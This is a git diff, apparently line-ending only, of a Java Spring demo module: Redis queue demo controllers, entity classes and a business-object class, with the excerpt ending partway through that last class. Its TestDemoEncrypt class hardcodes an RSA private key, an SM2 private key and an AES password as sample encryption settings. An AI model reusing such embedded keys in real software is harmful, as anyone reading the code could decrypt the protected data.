a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/BoundedQueueController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/BoundedQueueController.java @@ -1,90 +1,90 @@ -package org.dromara.demo.controller.queue; - -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.R; -import org.dromara.common.redis.utils.QueueUtils; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -/** - * 有界队列 演示案例 - *

- * 轻量级队列 重量级数据量 请使用 MQ - *

- * 集群测试通过 同一个数据只会被消费一次 做好事务补偿 - * 集群测试流程 在其中一台发送数据 两端分别调用获取接口 一次获取一条 - * - * @author Lion Li - * @version 3.6.0 - */ -@Slf4j -@RequiredArgsConstructor -@RestController -@RequestMapping("/demo/queue/bounded") -public class BoundedQueueController { - - - /** - * 添加队列数据 - * - * @param queueName 队列名 - * @param capacity 容量 - */ - @GetMapping("/add") - public R add(String queueName, int capacity) { - // 用完了一定要销毁 否则会一直存在 - boolean b = QueueUtils.destroyBoundedQueue(queueName); - log.info("通道: {} , 删除: {}", queueName, b); - // 初始化设置一次即可 - if (QueueUtils.trySetBoundedQueueCapacity(queueName, capacity)) { - log.info("通道: {} , 设置容量: {}", queueName, capacity); - } else { - log.info("通道: {} , 设置容量失败", queueName); - return R.fail("操作失败"); - } - for (int i = 0; i < 11; i++) { - String data = "data-" + i; - boolean flag = QueueUtils.addBoundedQueueObject(queueName, data); - if (flag == false) { - log.info("通道: {} , 发送数据: {} 失败, 通道已满", queueName, data); - } else { - log.info("通道: {} , 发送数据: {}", queueName, data); - } - } - return R.ok("操作成功"); - } - - /** - * 删除队列数据 - * - * @param queueName 队列名 - */ - @GetMapping("/remove") - public R remove(String queueName) { - String data = "data-" + 5; - if (QueueUtils.removeBoundedQueueObject(queueName, data)) { - log.info("通道: {} , 删除数据: {}", queueName, data); - } else { - return R.fail("操作失败"); - } - return R.ok("操作成功"); - } - - /** - * 获取队列数据 - * - * @param queueName 队列名 - */ - @GetMapping("/get") - public R get(String queueName) { - String data; - do { - data = QueueUtils.getBoundedQueueObject(queueName); - log.info("通道: {} , 获取数据: {}", queueName, data); - } while (data != null); - return R.ok("操作成功"); - } - -} +package org.dromara.demo.controller.queue; + +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.R; +import org.dromara.common.redis.utils.QueueUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * 有界队列 演示案例 + *

+ * 轻量级队列 重量级数据量 请使用 MQ + *

+ * 集群测试通过 同一个数据只会被消费一次 做好事务补偿 + * 集群测试流程 在其中一台发送数据 两端分别调用获取接口 一次获取一条 + * + * @author Lion Li + * @version 3.6.0 + */ +@Slf4j +@RequiredArgsConstructor +@RestController +@RequestMapping("/demo/queue/bounded") +public class BoundedQueueController { + + + /** + * 添加队列数据 + * + * @param queueName 队列名 + * @param capacity 容量 + */ + @GetMapping("/add") + public R add(String queueName, int capacity) { + // 用完了一定要销毁 否则会一直存在 + boolean b = QueueUtils.destroyBoundedQueue(queueName); + log.info("通道: {} , 删除: {}", queueName, b); + // 初始化设置一次即可 + if (QueueUtils.trySetBoundedQueueCapacity(queueName, capacity)) { + log.info("通道: {} , 设置容量: {}", queueName, capacity); + } else { + log.info("通道: {} , 设置容量失败", queueName); + return R.fail("操作失败"); + } + for (int i = 0; i < 11; i++) { + String data = "data-" + i; + boolean flag = QueueUtils.addBoundedQueueObject(queueName, data); + if (flag == false) { + log.info("通道: {} , 发送数据: {} 失败, 通道已满", queueName, data); + } else { + log.info("通道: {} , 发送数据: {}", queueName, data); + } + } + return R.ok("操作成功"); + } + + /** + * 删除队列数据 + * + * @param queueName 队列名 + */ + @GetMapping("/remove") + public R remove(String queueName) { + String data = "data-" + 5; + if (QueueUtils.removeBoundedQueueObject(queueName, data)) { + log.info("通道: {} , 删除数据: {}", queueName, data); + } else { + return R.fail("操作失败"); + } + return R.ok("操作成功"); + } + + /** + * 获取队列数据 + * + * @param queueName 队列名 + */ + @GetMapping("/get") + public R get(String queueName) { + String data; + do { + data = QueueUtils.getBoundedQueueObject(queueName); + log.info("通道: {} , 获取数据: {}", queueName, data); + } while (data != null); + return R.ok("操作成功"); + } + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/DelayedQueueController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/DelayedQueueController.java index b6e51d3..0ae680d 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/DelayedQueueController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/DelayedQueueController.java @@ -1,97 +1,97 @@ -package org.dromara.demo.controller.queue; - -import cn.dev33.satoken.annotation.SaIgnore; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.R; -import org.dromara.common.redis.utils.QueueUtils; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import java.util.concurrent.CompletableFuture; -import java.util.concurrent.TimeUnit; - -/** - * 延迟队列 演示案例 - *

- * 轻量级队列 重量级数据量 请使用 MQ - * 例如: 创建订单30分钟后过期处理 - *

- * 集群测试通过 同一个数据只会被消费一次 做好事务补偿 - * 集群测试流程 两台集群分别开启订阅 在其中一台发送数据 观察接收消息的规律 - * - * @author Lion Li - * @version 3.6.0 - */ -@SaIgnore -@Slf4j -@RequiredArgsConstructor -@RestController -@RequestMapping("/demo/queue/delayed") -public class DelayedQueueController { - - /** - * 订阅队列 - * - * @param queueName 队列名 - */ - @GetMapping("/subscribe") - public R subscribe(String queueName) { - log.info("通道: {} 监听中......", queueName); - // 项目初始化设置一次即可 - QueueUtils.subscribeBlockingQueue(queueName, (String orderNum) -> { - // 观察接收时间 - log.info("通道: {}, 收到数据: {}", queueName, orderNum); - return CompletableFuture.runAsync(() -> { - // 异步处理数据逻辑 不要在上方处理业务逻辑 - log.info("数据处理: {}", orderNum); - }); - }, true); - return R.ok("操作成功"); - } - - /** - * 添加队列数据 - * - * @param queueName 队列名 - * @param orderNum 订单号 - * @param time 延迟时间(秒) - */ - @GetMapping("/add") - public R add(String queueName, String orderNum, Long time) { - QueueUtils.addDelayedQueueObject(queueName, orderNum, time, TimeUnit.SECONDS); - // 观察发送时间 - log.info("通道: {} , 发送数据: {}", queueName, orderNum); - return R.ok("操作成功"); - } - - /** - * 删除队列数据 - * - * @param queueName 队列名 - * @param orderNum 订单号 - */ - @GetMapping("/remove") - public R remove(String queueName, String orderNum) { - if (QueueUtils.removeDelayedQueueObject(queueName, orderNum)) { - log.info("通道: {} , 删除数据: {}", queueName, orderNum); - } else { - return R.fail("操作失败"); - } - return R.ok("操作成功"); - } - - /** - * 销毁队列 - * - * @param queueName 队列名 - */ - @GetMapping("/destroy") - public R destroy(String queueName) { - // 用完了一定要销毁 否则会一直存在 - QueueUtils.destroyDelayedQueue(queueName); - return R.ok("操作成功"); - } - -} +package org.dromara.demo.controller.queue; + +import cn.dev33.satoken.annotation.SaIgnore; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.R; +import org.dromara.common.redis.utils.QueueUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.TimeUnit; + +/** + * 延迟队列 演示案例 + *

+ * 轻量级队列 重量级数据量 请使用 MQ + * 例如: 创建订单30分钟后过期处理 + *

+ * 集群测试通过 同一个数据只会被消费一次 做好事务补偿 + * 集群测试流程 两台集群分别开启订阅 在其中一台发送数据 观察接收消息的规律 + * + * @author Lion Li + * @version 3.6.0 + */ +@SaIgnore +@Slf4j +@RequiredArgsConstructor +@RestController +@RequestMapping("/demo/queue/delayed") +public class DelayedQueueController { + + /** + * 订阅队列 + * + * @param queueName 队列名 + */ + @GetMapping("/subscribe") + public R subscribe(String queueName) { + log.info("通道: {} 监听中......", queueName); + // 项目初始化设置一次即可 + QueueUtils.subscribeBlockingQueue(queueName, (String orderNum) -> { + // 观察接收时间 + log.info("通道: {}, 收到数据: {}", queueName, orderNum); + return CompletableFuture.runAsync(() -> { + // 异步处理数据逻辑 不要在上方处理业务逻辑 + log.info("数据处理: {}", orderNum); + }); + }, true); + return R.ok("操作成功"); + } + + /** + * 添加队列数据 + * + * @param queueName 队列名 + * @param orderNum 订单号 + * @param time 延迟时间(秒) + */ + @GetMapping("/add") + public R add(String queueName, String orderNum, Long time) { + QueueUtils.addDelayedQueueObject(queueName, orderNum, time, TimeUnit.SECONDS); + // 观察发送时间 + log.info("通道: {} , 发送数据: {}", queueName, orderNum); + return R.ok("操作成功"); + } + + /** + * 删除队列数据 + * + * @param queueName 队列名 + * @param orderNum 订单号 + */ + @GetMapping("/remove") + public R remove(String queueName, String orderNum) { + if (QueueUtils.removeDelayedQueueObject(queueName, orderNum)) { + log.info("通道: {} , 删除数据: {}", queueName, orderNum); + } else { + return R.fail("操作失败"); + } + return R.ok("操作成功"); + } + + /** + * 销毁队列 + * + * @param queueName 队列名 + */ + @GetMapping("/destroy") + public R destroy(String queueName) { + // 用完了一定要销毁 否则会一直存在 + QueueUtils.destroyDelayedQueue(queueName); + return R.ok("操作成功"); + } + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/PriorityDemo.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/PriorityDemo.java index e2449b5..5b9a600 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/PriorityDemo.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/PriorityDemo.java @@ -1,22 +1,22 @@ -package org.dromara.demo.controller.queue; - -import lombok.Data; -import lombok.NoArgsConstructor; - -/** - * 实体类 注意不允许使用内部类 否则会找不到类 - * - * @author Lion Li - * @version 3.6.0 - */ -@Data -@NoArgsConstructor -public class PriorityDemo implements Comparable { - private String name; - private Integer orderNum; - - @Override - public int compareTo(PriorityDemo other) { - return Integer.compare(getOrderNum(), other.getOrderNum()); - } -} +package org.dromara.demo.controller.queue; + +import lombok.Data; +import lombok.NoArgsConstructor; + +/** + * 实体类 注意不允许使用内部类 否则会找不到类 + * + * @author Lion Li + * @version 3.6.0 + */ +@Data +@NoArgsConstructor +public class PriorityDemo implements Comparable { + private String name; + private Integer orderNum; + + @Override + public int compareTo(PriorityDemo other) { + return Integer.compare(getOrderNum(), other.getOrderNum()); + } +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/PriorityQueueController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/PriorityQueueController.java index c5d9f79..8d679fb 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/PriorityQueueController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/PriorityQueueController.java @@ -1,89 +1,89 @@ -package org.dromara.demo.controller.queue; - -import cn.hutool.core.util.RandomUtil; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.R; -import org.dromara.common.redis.utils.QueueUtils; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -/** - * 优先队列 演示案例 - *

- * 轻量级队列 重量级数据量 请使用 MQ - *

- * 集群测试通过 同一个消息只会被消费一次 做好事务补偿 - * 集群测试流程 在其中一台发送数据 两端分别调用获取接口 一次获取一条 - * - * @author Lion Li - * @version 3.6.0 - */ -@Slf4j -@RequiredArgsConstructor -@RestController -@RequestMapping("/demo/queue/priority") -public class PriorityQueueController { - - /** - * 添加队列数据 - * - * @param queueName 队列名 - */ - @GetMapping("/add") - public R add(String queueName) { - // 用完了一定要销毁 否则会一直存在 - boolean b = QueueUtils.destroyPriorityQueue(queueName); - log.info("通道: {} , 删除: {}", queueName, b); - - for (int i = 0; i < 10; i++) { - int randomNum = RandomUtil.randomInt(10); - PriorityDemo data = new PriorityDemo(); - data.setName("data-" + i); - data.setOrderNum(randomNum); - if (QueueUtils.addPriorityQueueObject(queueName, data)) { - log.info("通道: {} , 发送数据: {}", queueName, data); - } else { - log.info("通道: {} , 发送数据: {}, 发送失败", queueName, data); - } - } - return R.ok("操作成功"); - } - - /** - * 删除队列数据 - * - * @param queueName 队列名 - * @param name 对象名 - * @param orderNum 排序号 - */ - @GetMapping("/remove") - public R remove(String queueName, String name, Integer orderNum) { - PriorityDemo data = new PriorityDemo(); - data.setName(name); - data.setOrderNum(orderNum); - if (QueueUtils.removePriorityQueueObject(queueName, data)) { - log.info("通道: {} , 删除数据: {}", queueName, data); - } else { - return R.fail("操作失败"); - } - return R.ok("操作成功"); - } - - /** - * 获取队列数据 - * - * @param queueName 队列名 - */ - @GetMapping("/get") - public R get(String queueName) { - PriorityDemo data; - do { - data = QueueUtils.getPriorityQueueObject(queueName); - log.info("通道: {} , 获取数据: {}", queueName, data); - } while (data != null); - return R.ok("操作成功"); - } - -} +package org.dromara.demo.controller.queue; + +import cn.hutool.core.util.RandomUtil; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.R; +import org.dromara.common.redis.utils.QueueUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * 优先队列 演示案例 + *

+ * 轻量级队列 重量级数据量 请使用 MQ + *

+ * 集群测试通过 同一个消息只会被消费一次 做好事务补偿 + * 集群测试流程 在其中一台发送数据 两端分别调用获取接口 一次获取一条 + * + * @author Lion Li + * @version 3.6.0 + */ +@Slf4j +@RequiredArgsConstructor +@RestController +@RequestMapping("/demo/queue/priority") +public class PriorityQueueController { + + /** + * 添加队列数据 + * + * @param queueName 队列名 + */ + @GetMapping("/add") + public R add(String queueName) { + // 用完了一定要销毁 否则会一直存在 + boolean b = QueueUtils.destroyPriorityQueue(queueName); + log.info("通道: {} , 删除: {}", queueName, b); + + for (int i = 0; i < 10; i++) { + int randomNum = RandomUtil.randomInt(10); + PriorityDemo data = new PriorityDemo(); + data.setName("data-" + i); + data.setOrderNum(randomNum); + if (QueueUtils.addPriorityQueueObject(queueName, data)) { + log.info("通道: {} , 发送数据: {}", queueName, data); + } else { + log.info("通道: {} , 发送数据: {}, 发送失败", queueName, data); + } + } + return R.ok("操作成功"); + } + + /** + * 删除队列数据 + * + * @param queueName 队列名 + * @param name 对象名 + * @param orderNum 排序号 + */ + @GetMapping("/remove") + public R remove(String queueName, String name, Integer orderNum) { + PriorityDemo data = new PriorityDemo(); + data.setName(name); + data.setOrderNum(orderNum); + if (QueueUtils.removePriorityQueueObject(queueName, data)) { + log.info("通道: {} , 删除数据: {}", queueName, data); + } else { + return R.fail("操作失败"); + } + return R.ok("操作成功"); + } + + /** + * 获取队列数据 + * + * @param queueName 队列名 + */ + @GetMapping("/get") + public R get(String queueName) { + PriorityDemo data; + do { + data = QueueUtils.getPriorityQueueObject(queueName); + log.info("通道: {} , 获取数据: {}", queueName, data); + } while (data != null); + return R.ok("操作成功"); + } + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/TestDemo.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/TestDemo.java index 22bead9..4374570 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/TestDemo.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/TestDemo.java @@ -1,68 +1,68 @@ -package org.dromara.demo.domain; - -import com.baomidou.mybatisplus.annotation.*; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; - -import java.io.Serial; - -/** - * 测试单表对象 test_demo - * - * @author Lion Li - * @date 2021-07-26 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("test_demo") -public class TestDemo extends TenantEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @TableId(value = "id") - private Long id; - - /** - * 部门id - */ - private Long deptId; - - /** - * 用户id - */ - private Long userId; - - /** - * 排序号 - */ - @OrderBy(asc = false, sort = 1) - private Integer orderNum; - - /** - * key键 - */ - private String testKey; - - /** - * 值 - */ - private String value; - - /** - * 版本 - */ - @Version - private Long version; - - /** - * 删除标志 - */ - @TableLogic - private Long delFlag; - -} +package org.dromara.demo.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.tenant.core.TenantEntity; + +import java.io.Serial; + +/** + * 测试单表对象 test_demo + * + * @author Lion Li + * @date 2021-07-26 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("test_demo") +public class TestDemo extends TenantEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id") + private Long id; + + /** + * 部门id + */ + private Long deptId; + + /** + * 用户id + */ + private Long userId; + + /** + * 排序号 + */ + @OrderBy(asc = false, sort = 1) + private Integer orderNum; + + /** + * key键 + */ + private String testKey; + + /** + * 值 + */ + private String value; + + /** + * 版本 + */ + @Version + private Long version; + + /** + * 删除标志 + */ + @TableLogic + private Long delFlag; + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/TestDemoEncrypt.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/TestDemoEncrypt.java index bdb0c04..0428571 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/TestDemoEncrypt.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/TestDemoEncrypt.java @@ -1,29 +1,29 @@ -package org.dromara.demo.domain; - -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.encrypt.annotation.EncryptField; -import org.dromara.common.encrypt.enumd.AlgorithmType; - -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("test_demo") -public class TestDemoEncrypt extends TestDemo { - - /** - * key键 - */ - // @EncryptField(algorithm=AlgorithmType.SM2, privateKey = "MIGTAgEAMBMGByqGSM49AgEGCCqBHM9VAYItBHkwdwIBAQQgZSlOvw8FBiH+aFJWLYZP/VRjg9wjfRarTkGBZd/T3N+gCgYIKoEcz1UBgi2hRANCAAR5DGuQwJqkxnbCsP+iPSDoHWIF4RwcR5EsSvT8QPxO1wRkR2IhCkzvRb32x2CUgJFdvoqVqfApFDPZzShqzBwX", publicKey = "MFkwEwYHKoZIzj0CAQYIKoEcz1UBgi0DQgAEeQxrkMCapMZ2wrD/oj0g6B1iBeEcHEeRLEr0/ED8TtcEZEdiIQpM70W99sdglICRXb6KlanwKRQz2c0oaswcFw==") - @EncryptField(algorithm = AlgorithmType.RSA, privateKey = "MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGBANBBEeueWlXlkkj2+WY5l+IWe42d8b5K28g+G/CFKC/yYAEHtqGlCsBOrb+YBkG9mPzmuYA/n9k0NFIc8E8yY5vZQaroyFBrTTWEzG9RY2f7Y3svVyybs6jpXSUs4xff8abo7wL1Y/wUaeatTViamxYnyTvdTmLm3d+JjRij68rxAgMBAAECgYAB0TnhXraSopwIVRfmboea1b0upl+BUdTJcmci412UjrKr5aE695ZLPkXbFXijVu7HJlyyv94NVUdaMACV7Ku/S2RuNB70M7YJm8rAjHFC3/i2ZeIM60h1Ziy4QKv0XM3pRATlDCDNhC1WUrtQCQSgU8kcp6eUUppruOqDzcY04QJBAPm9+sBP9CwDRgy3e5+V8aZtJkwDstb0lVVV/KY890cydVxiCwvX3fqVnxKMlb+x0YtH0sb9v+71xvK2lGobaRECQQDVePU6r/cCEfpc+nkWF6osAH1f8Mux3rYv2DoBGvaPzV2BGfsLed4neRfCwWNCKvGPCdW+L0xMJg8+RwaoBUPhAkAT5kViqXxFPYWJYd1h2+rDXhMdH3ZSlm6HvDBDdrwlWinr0Iwcx3iSjPV93uHXwm118aUj4fg3LDJMCKxOwBxhAkByrQXfvwOMYygBprRBf/j0plazoWFrbd6lGR0f1uI5IfNnFRPdeFw1DEINZ2Hw+6zEUF44SqRMC+4IYJNc02dBAkBCgy7RvfyV/A7N6kKXxTHauY0v6XwSSvpeKtRJkbIcRWOdIYvaHO9L7cklj3vIEdwjSUp9K4VTBYYlmAz1xh03", publicKey = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDQQRHrnlpV5ZJI9vlmOZfiFnuNnfG+StvIPhvwhSgv8mABB7ahpQrATq2/mAZBvZj85rmAP5/ZNDRSHPBPMmOb2UGq6MhQa001hMxvUWNn+2N7L1csm7Oo6V0lLOMX3/Gm6O8C9WP8FGnmrU1YmpsWJ8k73U5i5t3fiY0Yo+vK8QIDAQAB") - private String testKey; - - /** - * 值 - */ - // @EncryptField // 什么也不写走默认yml配置 - // @EncryptField(algorithm = AlgorithmType.SM4, password = "10rfylhtccpuyke5") - @EncryptField(algorithm = AlgorithmType.AES, password = "10rfylhtccpuyke5") - private String value; - -} +package org.dromara.demo.domain; + +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.encrypt.annotation.EncryptField; +import org.dromara.common.encrypt.enumd.AlgorithmType; + +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("test_demo") +public class TestDemoEncrypt extends TestDemo { + + /** + * key键 + */ + // @EncryptField(algorithm=AlgorithmType.SM2, privateKey = "MIGTAgEAMBMGByqGSM49AgEGCCqBHM9VAYItBHkwdwIBAQQgZSlOvw8FBiH+aFJWLYZP/VRjg9wjfRarTkGBZd/T3N+gCgYIKoEcz1UBgi2hRANCAAR5DGuQwJqkxnbCsP+iPSDoHWIF4RwcR5EsSvT8QPxO1wRkR2IhCkzvRb32x2CUgJFdvoqVqfApFDPZzShqzBwX", publicKey = "MFkwEwYHKoZIzj0CAQYIKoEcz1UBgi0DQgAEeQxrkMCapMZ2wrD/oj0g6B1iBeEcHEeRLEr0/ED8TtcEZEdiIQpM70W99sdglICRXb6KlanwKRQz2c0oaswcFw==") + @EncryptField(algorithm = AlgorithmType.RSA, privateKey = "MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGBANBBEeueWlXlkkj2+WY5l+IWe42d8b5K28g+G/CFKC/yYAEHtqGlCsBOrb+YBkG9mPzmuYA/n9k0NFIc8E8yY5vZQaroyFBrTTWEzG9RY2f7Y3svVyybs6jpXSUs4xff8abo7wL1Y/wUaeatTViamxYnyTvdTmLm3d+JjRij68rxAgMBAAECgYAB0TnhXraSopwIVRfmboea1b0upl+BUdTJcmci412UjrKr5aE695ZLPkXbFXijVu7HJlyyv94NVUdaMACV7Ku/S2RuNB70M7YJm8rAjHFC3/i2ZeIM60h1Ziy4QKv0XM3pRATlDCDNhC1WUrtQCQSgU8kcp6eUUppruOqDzcY04QJBAPm9+sBP9CwDRgy3e5+V8aZtJkwDstb0lVVV/KY890cydVxiCwvX3fqVnxKMlb+x0YtH0sb9v+71xvK2lGobaRECQQDVePU6r/cCEfpc+nkWF6osAH1f8Mux3rYv2DoBGvaPzV2BGfsLed4neRfCwWNCKvGPCdW+L0xMJg8+RwaoBUPhAkAT5kViqXxFPYWJYd1h2+rDXhMdH3ZSlm6HvDBDdrwlWinr0Iwcx3iSjPV93uHXwm118aUj4fg3LDJMCKxOwBxhAkByrQXfvwOMYygBprRBf/j0plazoWFrbd6lGR0f1uI5IfNnFRPdeFw1DEINZ2Hw+6zEUF44SqRMC+4IYJNc02dBAkBCgy7RvfyV/A7N6kKXxTHauY0v6XwSSvpeKtRJkbIcRWOdIYvaHO9L7cklj3vIEdwjSUp9K4VTBYYlmAz1xh03", publicKey = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDQQRHrnlpV5ZJI9vlmOZfiFnuNnfG+StvIPhvwhSgv8mABB7ahpQrATq2/mAZBvZj85rmAP5/ZNDRSHPBPMmOb2UGq6MhQa001hMxvUWNn+2N7L1csm7Oo6V0lLOMX3/Gm6O8C9WP8FGnmrU1YmpsWJ8k73U5i5t3fiY0Yo+vK8QIDAQAB") + private String testKey; + + /** + * 值 + */ + // @EncryptField // 什么也不写走默认yml配置 + // @EncryptField(algorithm = AlgorithmType.SM4, password = "10rfylhtccpuyke5") + @EncryptField(algorithm = AlgorithmType.AES, password = "10rfylhtccpuyke5") + private String value; + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/TestTree.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/TestTree.java index f1798e5..bb7007f 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/TestTree.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/TestTree.java @@ -1,65 +1,65 @@ -package org.dromara.demo.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableLogic; -import com.baomidou.mybatisplus.annotation.TableName; -import com.baomidou.mybatisplus.annotation.Version; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; - -import java.io.Serial; - -/** - * 测试树表对象 test_tree - * - * @author Lion Li - * @date 2021-07-26 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("test_tree") -public class TestTree extends TenantEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @TableId(value = "id") - private Long id; - - /** - * 父ID - */ - private Long parentId; - - /** - * 部门id - */ - private Long deptId; - - /** - * 用户id - */ - private Long userId; - - /** - * 树节点名 - */ - private String treeName; - - /** - * 版本 - */ - @Version - private Long version; - - /** - * 删除标志 - */ - @TableLogic - private Long delFlag; - -} +package org.dromara.demo.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableLogic; +import com.baomidou.mybatisplus.annotation.TableName; +import com.baomidou.mybatisplus.annotation.Version; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.tenant.core.TenantEntity; + +import java.io.Serial; + +/** + * 测试树表对象 test_tree + * + * @author Lion Li + * @date 2021-07-26 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("test_tree") +public class TestTree extends TenantEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id") + private Long id; + + /** + * 父ID + */ + private Long parentId; + + /** + * 部门id + */ + private Long deptId; + + /** + * 用户id + */ + private Long userId; + + /** + * 树节点名 + */ + private String treeName; + + /** + * 版本 + */ + @Version + private Long version; + + /** + * 删除标志 + */ + @TableLogic + private Long delFlag; + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/bo/TestDemoBo.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/bo/TestDemoBo.java index 2896f6c..9b2b9d6 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/bo/TestDemoBo.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/bo/TestDemoBo.java @@ -1,61 +1,61 @@ -package org.dromara.demo.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.demo.domain.TestDemo; - -/** - * 测试单表业务对象 test_demo - * - * @author Lion Li - * @date 2021-07-26 - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TestDemo.class, reverseConvertGenerate = false) -public class TestDemoBo extends BaseEntity { - - /** - * 主键 - */ - @NotNull(message = "主键不能为空", groups = {EditGroup.class}) - private Long id; - - /** - * 部门id - */ - @NotNull(message = "部门id不能为空", groups = {AddGroup.class, EditGroup.class}) - private Long deptId; - - /** - * 用户id - */ - @NotNull(message = "用户id不能为空", groups = {AddGroup.class, EditGroup.class}) - private Long userId; - - /** - * 排序号 - */ - @NotNull(message = "排序号不能为空", groups = {AddGroup.class, EditGroup.class}) - private Integer orderNum; - - /** - * key键 - */ - @NotBlank(message = "key键不能为空", groups = {AddGroup.class, EditGroup.class}) - private String testKey; - - /** - * 值 - */ - @NotBlank(message = "值不能为空", groups = {AddGroup.class, EditGroup.class}) - private String value; - -} +package org.dromara.demo.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.demo.domain.TestDemo; + +/** + * 测试单表业务对象 test_demo + * + * @author Lion Li + * @date 2021-07-26 + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TestDemo.class, reverseConvertGenerate = false) +public class TestDemoBo extends BaseEntity { + + /** + * 